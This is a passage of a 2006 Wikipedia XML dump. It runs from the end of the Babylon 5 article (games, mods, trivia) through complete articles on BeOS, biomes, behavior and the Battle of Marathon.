In [[1998]] a video game based on ''Babylon 5'', named ''Into the Fire'', was being developed by [[Sierra Entertainment|Sierra]], the publishers of [[Homeworld]]. This game was to have cast the player as the pilot of a Starfury fighter craft through many missions of a dynamic storyline, while also giving the player an opportunity to &quot;move up through the ranks&quot; and eventually take command of capital ships and even fleets. It was to feature large battles and realistic physics. Multiplayer competitive and cooperative modes would have allowed players to pilot ships of alien races. Christopher Franke composed and recorded new music for the game, and [[live action]] footage was filmed with the primary actors from the series.

Work on this game ended on [[September 21]], [[1999]], when, as part of a corporate reorganization, Sierra cancelled it and laid off its development staff.

The web site [http://www.firstones.com/ FirstOnes.com] followed the game's development and demise, and continues to track Babylon 5 [[mod (computer gaming)|mod]]s for other games. FirstOnes.com also hosts the site of the [http://ifh.firstones.com/ Space Dream Factory], an independent project to develop several standalone games. The first of these, titled &quot;Babylon 5: I've Found Her&quot;, is set five years before the series, and can be downloaded free of charge at [http://ifh.firstones.com/ the project's website.]

A collection of mods for the [[Homeworld]] platform can be found at [http://www.b5mods.com/ The Great Wars Mods] website. These mods try to capture the best battles from the series. Great Wars III is the most developed of all, having virtually every aspect of the game converted to a B5 theme.

Another independently developed, freely available mod is [http://www.hard-light.net/hosted/babylon/ The Babylon Project], a total conversion of the computer game [[Freespace 2]].  The mod features several campaigns set during the Earth-Minbari War and the Raider Wars.  Additional campaigns, including the Earth Alliance Civil War, are planned.  Active development continues on the project's forums at [http://www.hardlightproductions.com/ Hard Light Productions].

There is a modification available for the Babylon 5 universe for [[Malfador Machinations]]' strategy game [[Space Empires IV]]. However, it remains incomplete at this time, presumably waiting for the release of [[Space Empires V]] early in [[2006]].

==Other merchandise==
*Babylon 5 Limited Edition Entertainment Utility (1996): [[Windows 95]] desktop customization software containing [[screen savers]], [[wallpaper]], audio, [[icons]], and [[cursors]]. Produced by [[Sound Source Interactive, Inc.]] (aka [[TDK Mediactive, Inc.]]).
*Babylon 5 Arcade Series Entertainment Utility: &quot;Shadow Wars&quot; (1998): [[Windows 95]]/[[Windows 98]] desktop customization software containing [[screen savers]], [[wallpaper]], audio, [[icons]], [[cursors]], and an arcade-style space game. Produced by [[Sound Source Interactive, Inc.]] (aka [[TDK Mediactive, Inc.]]).
*[[Babylon 5 Wars|Board Game]]
*Roleplaying Games
*[[Babylon 5 Collectible Card Game|Collectible Card Game]]
*Trading Cards
*Magazines
*Comic Books
*MicroMachines
*Model Kits
*Miniatures
*Clothing
*Dishware

==Trivia==
*One of the show's [[Hugo Award|Hugo awards]] is used as a prop in the [[Sleeping in Light|final episode]], the first time that a Hugo has been shown on-screen in a series that has actually ''won'' a Hugo.

*The Babylon 5 station is located in the [[Epsilon Eridani]] star system, orbiting the third planet of that group (also known as &quot;Epsilon III&quot;).

*In the B5 universe, every intelligent species in the galaxy has, apparently on its own, developed the food that we call [[meatballs|Swedish meatballs]]. Each species has a different name for it (the Narn call it &quot;breen&quot;). This is reminiscent of a phenomenon reported in ''[[The Hitchhiker's Guide to the Galaxy]]'': every intelligent race has a drink called &quot;[[gin and tonic]]&quot; - but only the ''name'' is the same, and the actual drink is unique to each species.

*Actor [[Robert Foxworth]] was supposed to appear in the episode &quot;[[Severed Dreams]]&quot; (as his recurring character, General Hague). However, Foxworth's agent had double-booked him on episodes of B5 and ''[[Star Trek: Deep Space Nine]]'' at the same time; the actor chose DS9, mostly because as a two part episode (&quot;[[Homefront (DS9 episode)|Homefront]]&quot; / &quot;[[Paradise Lost (DS9 episode)|Paradise Lost]]&quot;) would net him a bigger salary. General Hague was subsequently killed off (offscreen) and the character of Major Ed Ryan was brought in as a last minute replacement. Ironically, while Hague was a loyalist fighting against a coup on Earth, his DS9 character (Admiral Leyton) was trying to instigate one; similarly, his character on ''[[Stargate SG-1]]'' was also a victim of a coup, and his ''[[Star Trek: Enterprise]]'' character (Administrator V'Las) was attempting to score a [[Romulan]] coup within the [[Vulcan High Command]].

*Actor [[Everett McGill]] (''[[Twin Peaks]]'', ''[[Dune (film)|Dune]]'') was originally intended to be cast as Major Ed Ryan in the episode &quot;[[Severed Dreams]]&quot; by series creator [[J. Michael Straczynski]]. However, Straczynski didn't remember McGill's first name, so when he asked to have McGill contacted to set up a meeting about casting him, his assistant asked if he meant &quot;Bruce,&quot; and Straczynski said yes. [[Bruce McGill]] was invited to meet with Straczynski, and it was only after the two met that Straczynski realized his mistake. Despite the confusion, Straczynski decided to use Bruce for the role of Major Ryan.

*[[Dilbert]] cartoonist [[Scott Adams]] appeared in a cameo role in ''Moments of Transition'', Season 4. In the bar, he enlisted Garibaldi to help him find his dog and cat, who he said meant to take over the universe.

==See also==
*[[Babylon 5 influences]]
*[[List of Babylon 5 articles]]
*[[Similarities between Babylon 5 and Star Trek: Deep Space Nine]]
*[[Internet marketing and fan influence on Babylon 5]]
*[[The Be Five]]
*[[Space colonization in popular culture]]
*[[List of television series that include time travel]]
*[[rec.arts.sf.tv.babylon5.moderated]]

==External links==
{{wikiquote}}
*{{wikicities|babylon5|The Babylon Project}}
*{{imdb title|id=0105946|title=Babylon 5}}
*{{Dmoz|Arts/Television/Programs/Science_Fiction_and_Fantasy/B/Babylon_5/|Babylon 5}}
*[http://www.midwinter.com/lurk/lurker.html The Lurker's Guide to Babylon 5]: The definitive B5 reference and episode guide
*[http://www.zteamproductions.com/protob5.html Early ''Babylon 5'' Designs]: Information from the original 1991 promotional flyer, with different character names and Peter Ledger's artwork
*[http://www.chronology.org/noframes/b-five/ The unofficial ''Babylon 5'' Timeline]
*[http://www.oinc.net/B5/Enc/ The Babylon 5 Encyclopedia]
*[http://www.frostjedi.com/vex/ Voltayre's Encyclopedia Xenobiologica]: Another B5 Encyclopedia
*[http://b5.cs.uwyo.edu/bab5/ The Down Below Sound Archive for Babylon 5]
*[http://tgm.firstones.com/index.php/Main_Page  The Great Machine]:  A wiki about Babylon 5 and all things related.
*[http://b5tech.com/ Babylon 5 Technology Manual]: A description of the technologies presented in ''Babylon 5''
*[http://www.babtech-onthe.net/ BabTech on the Net]: Another examination of the technology shown in ''Babylon 5'' 
*[http://www.jmsnews.com/ JMSNews]: Collection of Straczynski's postings to Usenet and other online forums
*[http://www.modeemi.fi/~leopold/Babylon5/DVD/DVDTransfer.html  How Babylon 5 is Transferred to DVD]
*[http://www.babylon5scripts.com  Babylon 5 Scripts]: Buy the scripts written by JMS along with background notes, previously unpublished material and photos.

[[Category:1990s TV shows in the United States]]
[[Category:Babylon 5|*]]
[[Category:Space opera]]
[[Category:Syndicated television series]]

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  </page>
  <page>
    <title>BeOS</title>
    <id>4801</id>
    <revision>
      <id>41661310</id>
      <timestamp>2006-02-28T22:19:41Z</timestamp>
      <contributor>
        <ip>81.218.149.123</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">&lt;!-- Release version update? Don't edit this page, just click on the version number! --&gt;{{Infobox_OS_2|
 name = BeOS
|screenshot = [[Image:Beos.png|250px|BeOS]]&lt;!-- Do not change unless you have read &quot;Wikipedia:Software_screenshots&quot;! --&gt;
|caption = A screenshot of BeOS R4.5
|developer = [[Be Incorporated]]
|family = BeOS
|source_model = [[Closed source]]
|working_state = Stopped
|kernel_type = [[Modular]] [[Microkernel]]
|license = [[Proprietary]]
|website = [http://www.beincorporated.com/ Be website ]
}}
'''BeOS''' is an [[operating system]] for [[personal computers]] which began development by [[Be Incorporated]] in [[1991]].

==Overview==
The '''Be Operating System''', or '''BeOS''', was first written in 1991 to run on [[BeBox]] hardware.  Unlike other operating systems of the time, BeOS was written to take advantage of modern hardware.  Optimized for digital media work, BeOS makes full use of [[Symmetric multiprocessing|multiprocessor]] systems by utilizing modular I/O bandwidth, pervasive multithreading, preemptive multitasking and a custom [[64-bit]] [[Journaling file system|journaled]] file system known as [[Be File System|BFS]].  The BeOS GUI was developed on the principles of clarity and a clean, uncluttered design. The [[application programming interface|API]] was written in [[C++]] for ease-of-programming. It has [[POSIX]] compatibility and access to a [[command line interface]] through the [[Bash]] shell, although internally is not a Unix-derived operating system.

Initially designed to run on [[AT&amp;T Hobbit]]-based hardware, BeOS was later modified to run on [[PowerPC|PowerPC-based]] processors: first Be's own systems, later Apple's [[PReP]] and [[CHRP]] platforms, with the hope that [[Apple Computer]] would purchase or license BeOS as a replacement for its then aging [[Mac OS]]. However, Apple's board of directors decided [[NeXTSTEP]] was a better choice and purchased [[NeXT]] in 1996, bringing back Apple co-founder [[Steve Jobs]].  To further complicate matters for Be, Apple refused to disclose architectural information about its [[PowerPC G3|G3]] line of computers&amp;mdash;information critical to making BeOS work on the latest hardware from Apple.

Due to Apple's moves and the mounting debt of [[Be Inc]], BeOS was soon ported to the [[x86]] platform with its R3 release in March 1998. Through the late 1990s, BeOS managed to create a niche of followers, but the company failed to become solvent.  As a last-ditch effort to increase interest in the failing operating system, Be Inc. released a stripped-down, but free, copy of [[BeOS R5]] known as BeOS Personal Edition (BeOS PE). BeOS PE could be started from within [[Microsoft Windows]] or [[Linux]], and was intended to nurture consumer interest in its product and give developers something with which they could tinker.

Be Inc. also released a stripped-down version of BeOS for Internet Appliances ([[BeIA]]), which soon became the company's business focus in place of BeOS. Unfortunately, BeOS PE and BeIA proved to be too little too late, and in 2001 Be's intellectual property was sold to [[Palm, Inc.]] BeOS R5 is considered the last official version, but BeOS R5.1 &quot;Dano&quot;, which was under development before Be's sale to Palm and included the [[BeOS Networking Environment|BONE]] networking stack, was leaked to the public shortly after the company's demise.

Despite the end of Be Inc. BeOS remains popular among devoted followers.  The BeOS community still develops free software and has even released patches, drivers and various updates to BeOS.  The main source of BeOS-related software can be found at [[BeBits]] [http://www.bebits.com].

The BeOS user interface was notable at the time for being almost completely unthemeable, even with third party hacks. The BeOS theme of [[yellow]], changing length [[Tab (GUI)|tabs]] on the top of windows, and relatively plain [[grey]] interface widgets was enforced. This UI remained relatively unchanged from 1995, but had been completely overhauled by the time of the leaked ''Dano'' release. An [[Easter egg (virtual)|easter egg]] in the OS allowed changing the titlebar look-and-feel to a few others, and in ''Dano'', this had been extended to be a feature allowing changing of the title bar and scrollbars. No other interface widgets could be changed. 

The plain BeOS R5 GUI is commonly cloned, either as the main UI, such as in [[TriangleOS]], or as a theme, such as for [[SkyOS]] or [[GNOME]].

== Projects to recreate BeOS ==

BeOS was well loved by a small but loyal community, and the BeOS user base was disappointed when Be, Inc. failed commercially and no further enhancement of the operating system would be possible. As of [[2002]], a few projects have formed to independently recreate BeOS in varying ways, with the eventual goal of then continuing where Be Inc. left off.  To ensure that the OS cannot be &quot;taken away&quot; from the Be community again, and to attract the efforts of volunteer programmers, these projects are all [[free software]] / [[open source software]].  The success of similar projects to make free software operating systems has been proven by the [[GNU project]] and various free software [[Berkeley Software Distribution|BSD]]-based projects.  The modular nature of the original BeOS facilitates recreating the operating system a piece at a time, inserting the newly coded modules into a working BeOS system to test compatibility. Eventually all of the &quot;servers&quot; (interworking modules of code) are to be replaced with original, freely licensed code.

* [[Haiku (operating system)|Haiku]]
* [[Blue Eyed OS]] (appears to be dead?)
* [[Cosmoe]]

== Projects to continue BeOS ==

* [[YellowTAB]] is believed to have the rights to use the unfinished BeOS R5.1 sourcebase, but not the BeOS trademark, and currently distributes a release ([[as of 2005 |as of June 9 2005]]) of the OS project called [[YellowTAB ZETA|ZETA]]. YellowTAB has never stated their legal position with regard to the BeOS code-base (perhaps for contractual reasons), and because of this, has created a great amount of controversy and skepticism in the Be community.

==See also==
* [[BeBits]]
* [[Beunited]]
* [[bootman]]
* [[Comparison of operating systems]]
* [[List of BeOS programs]]
* [[OpenTracker]]
* [[Gobe Productive]]

== External links ==
* [http://www.iscomputeron.com/ IsComputerOn] (Named after a function in BeOS that determines whether or not the machine is on) One of the best news sites for BeOS developments.
* [http://www.bebits.com BeBits] is ''the'' file repository for BeOS applications.
* [http://beos.petterhj.net/laptop/?id=2 BeOS on laptops and notebooks].
* [http://studio-33.blogspot.com Studio-33] News for BeOS users
[[Category:BeOS|*]]
[[Category:Operating systems]]

[[ca:BeOS]]
[[cs:BeOS]]
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    </revision>
  </page>
  <page>
    <title>Biome</title>
    <id>4802</id>
    <revision>
      <id>41696426</id>
      <timestamp>2006-03-01T03:02:57Z</timestamp>
      <contributor>
        <username>Bcasterline</username>
        <id>750386</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">In [[ecology]], a '''biome''' is a major regional group of distinctive [[plant]] and [[animal]] [[community|communities]] best adapted to the region's physical [[natural environment]], [[latitude]], [[altitude]] and terrain factors.  A biome is composed of the [[climax (biology)|climax]] [[vegetation]] and all associated subclimax, or degraded, vegetation, [[fauna (animals)|fauna]] and [[soil]]s, but can often be identified by the climax vegetation type.

A fundamental classification of biomes is into: 
# Terrestrial (or continental) biomes and 
# Aquatic biomes.

Biomes are often given local names. For example, a [[Temperate grasslands, savannas, and shrublands|Temperate grassland or shrubland]] biome is known commonly as ''[[steppe]]'' in central [[Asia]], ''[[savanna]]'' or [[veld]] in southern [[Africa]], ''[[prairie]]'' in [[North America]], ''[[pampa]]'' in [[South America]] and ''[[outback]]'' in [[Australia]].

== Latitude classification ==

Latitude is a major climate-influencing factor determining biomes.  There is a good correlation between the distribution of climates with latitude, and homogeneous vegetation bands.  Another major factor is humidity.  This can be illustrated by the fact that [[biodiversity]] increases away from the poles towards the equator, and increases with [[humidity]]. 
The most widely used classification of biomes is related to latitude (or temperature zoning) and humidity : 

=== Arctic or subarctic area ===
* humid type : [[Tundra]]

=== Subarctic and boreal area ===
* humid type: [[taiga]] or [[boreal forest]]

=== Temperate cold ===
* humid type : [[Temperate broadleaf and mixed forests]], [[Temperate coniferous forests]]

=== Temperate warm or sub-tropical ===
* humid: [[Tropical and subtropical moist broadleaf forests|subtropical moist broadleaf forest]]
* semi-humid: [[Tropical and subtropical dry broadleaf forests]]

=== Tropical ===
* humid area: [[Tropical and subtropical moist broadleaf forests|tropical moist broadleaf forest (tropical rainforest)]]
* semi-humid area: [[Tropical and subtropical dry broadleaf forests|tropical dry broadleaf forest]], [[Tropical and subtropical coniferous forests|tropical coniferous forest]]
* Semi-arid area: [[Tropical and subtropical grasslands, savannas, and shrublands|tropical grasslands, savannas, and shrublands]]
* Arid area: [[deserts and xeric shrublands]]

=== Aquatic ===
* [[continental shelf]]
* [[littoral]]
* [[riparian]]
* [[pond]]

* [[coral reef]]
* [[kelp forest]]
* [[pack ice]]
* [[hydrothermal vent]]s
* [[cold seep]]s
* [[benthic zone]]
* [[pelagic zone]]

== Altitude and latitude classification ==

Another system of classification takes into account altitude and humidity, ignoring temperature as a factor.  This classification is used to define the [[Global 200]] list of [[ecoregion]]s identified by the [[World Wildlife Fund]] (WWF) as priorities for conservation.

This classification gives the following terrestrial biomes : 

*[[Tundra]] (arctic, humid)
*[[Taiga|Boreal forests/taiga]] (subarctic, humid)
*[[Temperate coniferous forests]] (temperate cold, humid to semi-humid)
*[[Temperate broadleaf and mixed forests]] (temperate, humid)
*[[Temperate grasslands, savannas, and shrublands]] (temperate, semi-arid)
*[[Mediterranean forests, woodlands, and shrub]] (temperate warm, semi-humid to semi-arid with winter rainfall) 
*[[Tropical and subtropical coniferous forests]]  (tropical and subtropical, semi-humid)
*[[Tropical and subtropical moist broadleaf forests]] (tropical and subtropical, humid)
*[[Tropical and subtropical dry broadleaf forests]] (tropical and subtropical, semi-humid)
*[[Tropical and subtropical grasslands, savannas, and shrublands]] (tropical and subtropical, semi-arid)
*[[Deserts and xeric shrublands]] (temperate to tropical, arid)
*[[Mangrove]] (subtropical and tropical, salt and brackish water inundated)
*[[Flooded grasslands and savannas]] (temperate to tropical, fresh water inundated)
*[[Montane grasslands and shrublands]] (temperate to tropical, high altitude)

==Other biomes ==

The [[Endolith]]ic biome, consisting entirely of microscopic life in rock [[pore]]s and cracks, [[kilometer]]s beneath the surface, has only recently been discovered and does not fit well into most classification schemes.

==See also==
*[[Ecoregion]]
*[[Ecotope]]
*[[Ecozone]]
*[[Habitat (ecology)|Habitat]]

==External link==
[http://mbgnet.mobot.org Biomes of the world (Missouri Botanic Garden)]

[http://www.aresearchguide.com/biomes.html Biomes and Ecozones]

[[Category:Biogeography]]
[[Category:Ecology]]
[[Category:Biomes]]
[[ca:Bioma]]
[[cs:Biom]]
[[da:Biom]]
[[de:Biom]]
[[es:Bioma]]
[[fr:Biome]]
[[id:Bioma]]
[[it:Bioma]]
[[la:Biotopus]]
[[nl:Bioom]]
[[no:Biom]]
[[oc:Biòma]]
[[pl:Biom]]
[[pt:Bioma]]
[[ru:Биом]]
[[sk:Bióm]]
[[fi:Biomi]]
[[sv:Biom]]</text>
    </revision>
  </page>
  <page>
    <title>Behavior</title>
    <id>4805</id>
    <revision>
      <id>41663720</id>
      <timestamp>2006-02-28T22:43:19Z</timestamp>
      <contributor>
        <ip>201.133.192.83</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Behavior''' (or '''behaviour''' in [[Commonwealth English]]) refers to the [[action (philosophy)|action]]s or [[reaction]]s of an [[object (philosophy)|object]] or [[organism]], usually in [[relation]] to the [[natural environment|environment]]. Behavior can be [[conscious]] or [[unconscious]], [[overt]] or [[covert]], and [[voluntary]] or involuntary. Behavior is controlled by the [[endocrine system]], and the [[nervous system]]. The complexity of the behavior of an organism is related to the complexity of its nervous system. Generally, organisms with complex nervous systems have a greater capacity to learn new responses and thus adjust their behavior. 
of [[person|people]] (and other [[organism]]s or even mechanisms) falls within a [[range]] with some behaviors being common, some unusual, some acceptable, and some [[deviance|outside acceptable limits]]. The [[taboo|acceptablity]] of behavior is evaluated relative to [[social norm]]s and regulated by various [[mean]]s of [[social control]]. For behavior of people see [[human behavior]].  In [[sociology]], behavior is considered as having no meaning, being not directed at other people and thus is the most basic human [[Action (philosophy)|action]]. Behavior should not be mistaken with [[social behavior]], which is more advanced action, as social behavior is behavior specifically directed at other people. Animal behavior is studied in [[comparative psychology]], [[ethology]], [[behavioral ecology]] and [[sociobiology]].

==See also==
*[[Ethology]] (animal behavior)
*[[Behaviorism]]
*[[Behavioral economics]]
*[[Behavior-based robotics]]
*[[Chaining]]
*[[Deviant behavior]]
*[[Eccentricity (behavior)]]
*[[Forms of activity and interpersonal relations]]
*[[Human behavior]]
*[[Instinct]]
*[[Normal (behavior)]]
*[[Reasoning]]
*[[Taboo]]
*[[Work behavior]]
*[[Theories of Political Behavior]]

==External links==
*[http://www.colorado.edu/epob/epob3730rlynch/01introduction.html Brain and behavior &amp;ndash; (EPOB 3730) - University of Colorado]

[[Category:Behavior|*]]

[[ca:Conducta]]
[[da:Adfærd]]
[[de:Verhalten (Biologie)]]
[[es:Comportamiento]]
[[eo:Konduto]]
[[gl:Comportamento]]
[[is:Hegðun]]
[[he:התנהגות]]
[[hu:Viselkedés]]
[[nl:Gedrag]]
[[pl:Zachowanie]]
[[pt:Comportamento]]
[[ru:Поведение]]
[[sv:Beteende]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Marathon</title>
    <id>4806</id>
    <revision>
      <id>42124258</id>
      <timestamp>2006-03-03T23:56:17Z</timestamp>
      <contributor>
        <username>Flauto Dolce</username>
        <id>30706</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Samos]] to [[Samos Island]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Marathon
|partof=the [[Persian Wars]]
|image=[[Image:ac.marathon.jpg|300px]]|caption=The plain of Marathon today.
|date=September, [[490 BC]]
|place=[[Marathon, Greece]]
|result=[[History of Athens#Classical Athens|Athenian]] victory
|combatant1=[[History of Athens#Classical Athens|Athens]]
|combatant2=[[Persian Empire|Persia]]
|commander1=[[Miltiades]], [[Callimachus (polemarch)|Callimachus]]
|commander2=[[Darius I of Persia]], [[Artaphernes]]
|strength1=About 10,000
|strength2=No more than 20,000 (26,000 according to Herodotus)
|casualties1=192 dead
|casualties2=About 6,400 dead
}}
{{Campaignbox Greco-Persian Wars}}
The '''Battle of Marathon''' ([[490 BC]]) was the culmination of King [[Darius I of Persia]]'s first major attempt to conquer the remainder of the [[Greece|Greeks]] and add them to the [[Persian Empire]], thereby securing the weakest portion of his Western border.

==Background==
[[Hippias (son of Pisistratus)|Hippias]], [[tyrant]] of [[Athens]], had been expelled in [[510 BC]] by his people, with the assistance of [[Cleomenes I]], King of [[Sparta]]. He fled to the court of Darius to seek assistance.

With the failure of the [[Ionian Revolt]] ([[499 BC]] - [[494 BC]]), Darius was intent on subjugating the Greeks and punishing them for their part in the revolt. In [[492 BC]] Darius dispatched an army under his son-in-law, [[Mardonius]]. This army reduced [[Thrace]] and compelled [[Alexander I of Macedon]] to submit again to [[Iran|Persia]]. However, in attempting to advance into Greece much of the fleet was wrecked in a storm and Mardonius was forced to retreat to Asia. 

Darius learned through Hippias that the [[Alcmaeonidae]], a powerful Athenian family, were opposed to [[Miltiades]] and ready to help reinstate Hippias. They were also ready to bow to Persian demands in exchange for being excused for their role in the Ionian Revolt. Darius wished to take advantage of this situation to take Athens, which would isolate Sparta and hand him the remainder of the Greeks. In order for the Athenians to revolt, two things would need to happen: the populace would need encouragement to revolt, and the Athenian army would have to leave Athens.

In order to accomplish the first, Darius planned to take [[Eretria]], which would offer little resistance, and whose fall would terrify the Athenians. To accomplish the second, Darius's army, now led by [[Artaphernes]], son of a satrap of [[Sardis]], and [[Datis]], a [[Medes|Median]] admiral (Mardonius had been injured in the prior attack), was dispatched in early September [[490 BC]] to land at the [[Bay of Marathon]] and threaten an overland attack towards Athens. This army probably numbered at most 25,000 infantry and 1,000 cavalry, since it was transported entirely by sea.

The Persian transports, escorted by the fleet, sailed from [[Samos Island|Samos]] to [[Naxos, Greece|Naxos]] and reached [[Carystus]] on the south coast of [[Euboea]]. From there they sailed up the Euboean channel to [[Eretria]], where their aims became clear to the Greeks.

The Eretrians sent an urgent message to Athens for help. The Athenians agreed, but realized they needed more help. They sent the courier [[Pheidippides]] to the Spartans and probably a messenger to the [[Plataea]]ns. Pheidippides arrived in Sparta on the next day, the 9th of the month.  The Spartans agreed to help, but pointed out that they could not go to war until the [[Carneian festival]] ended on the full moon ([[September 9]]).

Artaphernes took part of the Persian army and laid siege to Eretria. The remainder of the army crossed with Datis and landed in the [[Bay of Marathon]]. The Athenian army, numbering 9,000-10,000, under [[Callimachus (polemarch)|Callimachus]] the [[polemarch]] and accompanied by his ten tribal generals marched north from Athens. When Callimachus heard that the Persians had landed in the Bay of Marathon, he wheeled right and reached the valley of Avlona and encamped his army at the shrine of Heracles, where he blocked the way to Athens in an easily defendable position. One thousand Plataeans joined him there. 

Since it was obvious from the Persians' disposition that they did not intend to move, the Athenians waited for the Spartans. For eight days the armies peacefully confronted each other.

==Battle==
[[Image:Battle of Marathon Initial Situation.png|thumb|300px|right|The initial positions of the troops before the clash. The Greeks (blue) have pulled up their wings to bolster the corners of their significantly smaller centre in a &lt;nowiki&gt;]]&lt;/nowiki&gt; shape. The Persian fleet (red) waits some way off to the east. This great distance to the ships played a crucial role in the later stages of the battle.]]

[[Image:Battle of Marathon Greek Double Envelopment.png|thumb|300px|right|The Greek wings (blue) envelop the Persian wings (red) while their strategically-thinned centre filled the gap made between them.]]

On the ninth day (either [[12 September]] or possibly [[12 August]] [[490 BC]] reckoned in the [[proleptic Julian calendar]]) it became known to the Athenians that Eretria had fallen by treachery. This meant that Artaphernes was now free to move, and might attack Athens. The Athenian army went out to face the Persians.  This was probably a combined decision by the generals, although Herodotus reports that they were rotating days of command and that Miltiades was in charge at this point, since he had a large part in persuading the others to do so.  According to Herodotus, five [[strategos|Strategoi]] voted for the move and five voted against it, with Callimachus, the Polemarch, casting the deciding vote in favor of attack.

Since the bulk of Persian infantry were [[archer]]s, the Greek plan was to advance in formation until they reached the limit of the archer's effectiveness, the &quot;beaten zone,&quot; or roughly 200 yards, then advance in double time to close ranks quickly and bring their heavy infantry into play. This meant that they would almost certainly end up fighting in disordered ranks, but this was preferable to giving the Persian archers more time. The Greek center was reduced to possibly four ranks, from the normal eight, in order to extend the line and prevent the Persian line from overlapping the Greeks. The wings maintained their eight ranks.

The Greek heavy infantryman, or [[hoplite]], was much more heavily armored than the Persian troops and the pike the Greeks carried gave them greater range than the short spears and swords of the Persian foot soldier.  The Persian advantage came from the [[bow (weapon)|bow]] that most of them carried (the advantage was partially cancelled by the superiority of Greek armor).

As the Greeks advanced, their wings drew ahead of the center, which was under heavy fire from the archers. As they closed some Persians broke through the resulting gaps and drove the center back in rout. The Greek retreat in the center, besides pulling the Persians in, also brought the Greek wings inwards, shortening the Greek line. The inadvertent result was a [[pincer movement|double envelopment]], and the battle ended when the whole Persian army, crowded into confusion, broke back in [[panic]] towards their ships and were pursued by the Greeks.

Herodotus records that 6,400 Persians died for the loss of approximately 192 Athenians.

==Aftermath==
As soon as Datis had put to sea, the Athenians marched to Athens. They arrived in time to prevent Artaphernes from securing a landing. Seeing his opportunity lost, Artaphernes set about and returned to Asia. The Spartans arrived afterwards, toured the battlefield at Marathon, and agreed that the Athenians had won a great victory.

The Greek upset of the Persians, who had not been defeated on land for many decades, caused great problems for the Persians.  Seeing that the Persians were not invincible, many people subject to their rule rose up following the defeat of their overlords at Marathon and order was not restored for several years.

The common enemy of Persia helped provide some solidarity to the disunited Greek city-states.  The victory helped solidify the view that Greeks were &quot;civilized&quot; and Asians were merely &quot;Barbarians.&quot;

==Conclusion==
Marathon was in no sense a decisive victory over the Persians. However, it was the first time the Greeks had bested the Persians on land, and &quot;their victory endowed the Greeks with a faith in their destiny which was to endure for three centuries, during which western culture was born.&quot; (J.F.C. Fuller, ''A Military History of the Western World'').
[[John Stuart Mill]]'s famous opinion is that the Battle of Marathon was more important an event for British history than the [[Battle of Hastings]].

==Date of the battle==
Herodotus mentions for several events a date in the [[lunisolar calendar]], of which each Greek city state used a variant.  Astronomical computation allows to derive an absolute date in the [[proleptic Julian calendar]] which is much used by historians as the chronological frame.  August B&amp;ouml;ckh in 1855 concluded that the battle took place on [[12 September]] [[490 BC]] in the Julian calendar, and this is the conventionally accepted date.  However, this depends on when the Spartans held their festival and it is possible that the Spartan calendar was one month ahead of that of Athens.  In that case the battle took place on [[12 August]] [[490 BC]].  If the battle really occurred in August, temperatures in the area can reach 100 degrees [[Fahrenheit]] and thus make the marathon run event more plausible.  See D.W.Olson ''et al.'', ''Sky &amp;amp; Telescope'' Sep. 2004 pp.34..41

==Marathon run==
According to the Greek historian [[Herodotus]], who was born in the year of the battle, an Athenian soldier named [[Pheidippides]] ran from Athens to [[Sparta]] to ask for assistance. This event was later turned into the popular legend that Pheidippides ran from Marathon to Athens. The traditional story relates that Pheidippides, an Athenian herald, ran the 42 km (26 miles) from the battlefield by the town of  [[Marathon, Greece|Marathon]] to [[Athens]] to announce the Greek victory over [[Persian Empire|Persia]] in the Battle of Marathon ([[490 BC]]) with the word &quot;&amp;#925;&amp;#949;&amp;#957;&amp;#953;&amp;#954;&amp;#942;&amp;#954;&amp;#945;&amp;#956;&amp;#949;&amp;#957;!&quot; (Nenik&amp;egrave;kamen, We were victorious!) and died on the spot. Most accounts incorrectly attribute this story to the historian [[Herodotus]], who wrote the history of the [[Persian Wars]] in his ''Histories'' (composed about [[440 BC]]). The [[International Olympic Committee]] estimates the distance from the Marathon battlefield to Athens as 34.5 km (21.4 miles). There is no historical evidence for this popular version of the legend, which first appears in [[Plutarch]]'s ''On the Glory of Athens'' in the 1st century AD. The story became the basis for the modern [[Marathon (sport)|marathon]] athletics event. The race is run over a distance of 42.195 km (26.2 miles).

==External links==
&lt;div class=&quot;noprint&quot; style=&quot;clear: right; border: solid #aaa 1px; margin: 0 0 1em 1em; font-size: 90%; background: #f9f9f9; width: 250px; padding: 4px; spacing: 0px; text-align: left; float: right;&quot;&gt;
&lt;div style=&quot;float: left;&quot;&gt;[[Image:Open book 01.png|50px|none|Academic Publishing Wiki]]&lt;/div&gt;
&lt;div style=&quot;margin-left: 60px;&quot;&gt;The [[wikicities:c:academia:Main Page|Academic Publishing Wiki]] has a journal article about this subject:
&lt;div style=&quot;margin-left: 10px;&quot;&gt;'''[[wikicities:c:academia:Journal of History and Classics:The struggle for Greece: Marathon and Artemision|The struggle for Greece: Marathon and Artemision]]'''&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
*[http://duke.usask.ca/~porterj/DeptTransls/Hdt.html#marathon Read contemporary Greek historian Herodotus's account of events at Marathon]
*[http://dsc.discovery.com/news/briefs/20040719/marathon.html Discovery article about Marathon date controversy and Pheidippides' death]
*[http://www.livius.org Livius], [http://www.livius.org/man-md/marathon/marathon.html Battle of Marathon] by Jona Lendering
*[http://www.losttrails.com/pages/Hproject/Marathon/Marathon.html black and white photo-essay of Marathon]

{{FA_link|sl}}

[[Category:490s BC]]
[[Category:Battles of the Greco-Persian Wars|Marathon]]

[[ca:Batalla de Marató]]
[[cs:Bitva u Marathonu]]
[[da:Slaget ved Marathon]]
[[de:Schlacht bei Marathon]]
[[el:Μάχη του Μαραθώνα]]
[[gl:Batalla de Maratón]]
[[hr:Bitka kod Maratona]]
[[it:Battaglia di Maratona]]
[[he:קרב מרתון]]
[[nl:Slag bij Marathon]]
[[ja:マラトンの戦い]]
[[no:Slaget ved Marathon]]
[[pl:Bitwa pod Maratonem]]
[[ro:Bătălia de la Marathon]]
[[ru:Битва при Марафоне]]
[[sk:Bitka pri Maratóne]]
[[sl:Bitka na Maratonskem polju]]
[[sr:Маратонска битка]]
[[fi:Marathonin taistelu]]
[[sv:Slaget vid Marathon]]
[[zh:马拉松战役]]</text>
    </revision>
  </page>
  <page>
    <title>Bignum</title>
    <id>4808</id>
    <revision>
      <id>33896398</id>
      <timestamp>2006-01-04T22:35:23Z</timestamp>
      <contributor>
        <username>Stevenj</username>
        <id>7918</id>
